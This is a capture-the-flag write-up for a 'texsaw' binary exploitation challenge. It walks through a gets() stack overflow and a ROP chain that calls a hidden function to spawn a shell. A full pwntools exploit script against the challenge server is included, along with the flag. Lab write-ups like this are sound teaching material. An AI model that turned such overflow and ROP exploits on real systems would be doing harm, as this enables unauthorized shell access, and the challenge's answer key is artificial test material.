Do you ever wonder what happens to your packages? So does your mail carrier.
nc 143.198.163.4 15858
Flag format:
texsaw{example_flag}
Solution
1. Initial Analysis
We start by analyzing the binary’s protections:
$ checksec chall- No Stack Canary: This means we can easily overwrite the return address on the stack.
- NX Disabled: The stack is executable, but we don’t necessarily need shellcode for this exploit.
- PIE Disabled: Function addresses are static and will not change between runs.
2. Identifying Vulnerabilities
Using objdump and nm, we identify several interesting functions:
main: The entry point.deliver: Called bymain; uses the unsafegets()function to read input into a 32-byte buffer.drive: A hidden function that checks an argument and, if correct, callssystem("/bin/sh").tool: Contains a useful ROP gadget:pop rdi; ret.
The vulnerable deliver function looks like this:
int deliver() { char s1[32]; // [rsp+0h] [rbp-20h] BYREF // ... gets(s1); // VULNERABILITY: No length check! // ...}Since gets() does not check the input length, we can provide a payload larger than 32 bytes to overwrite the saved instruction pointer on the stack.
3. Exploitation Strategy
The drive() function is our target:
int __fastcall drive(__int64 a1) { if (a1 != 0x48435344) // "HCSD" return puts("Need the secret key to deliver this package.\n"); return system("/bin/sh");}To get a shell, we need to call drive(0x48435344). In the x86-64 calling convention, the first argument is passed in the RDI register.
Our ROP Chain Plan:
- Overwrite the return address with the address of a
pop rdi; retgadget. - Provide the value
0x48435344as the next item on the stack (to be popped intoRDI). - Include a
retgadget for stack alignment (often necessary forsystem()calls in 64-bit glibc). - Finally, call the
drivefunction.
4. Exploit Script
from pwn import *
context.binary = binary = ELF('./chall')
# Found addressespop_rdi_ret = 0x4011beret_gadget = 0x4011bfdrive_addr = 0x401211secret_arg = 0x48435344
# Padding: 32 bytes (buffer) + 8 bytes (saved RBP) = 40 bytespayload = b"A" * 40payload += p64(ret_gadget) # Stack alignmentpayload += p64(pop_rdi_ret) # Gadget to set RDIpayload += p64(secret_arg) # The argument "HCSD"payload += p64(drive_addr) # Call drive()
# Connect and exploitp = remote('143.198.163.4', 15858)p.recvuntil(b"2 Canary Court\n\n")p.sendline(payload)p.interactive()Flag
texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}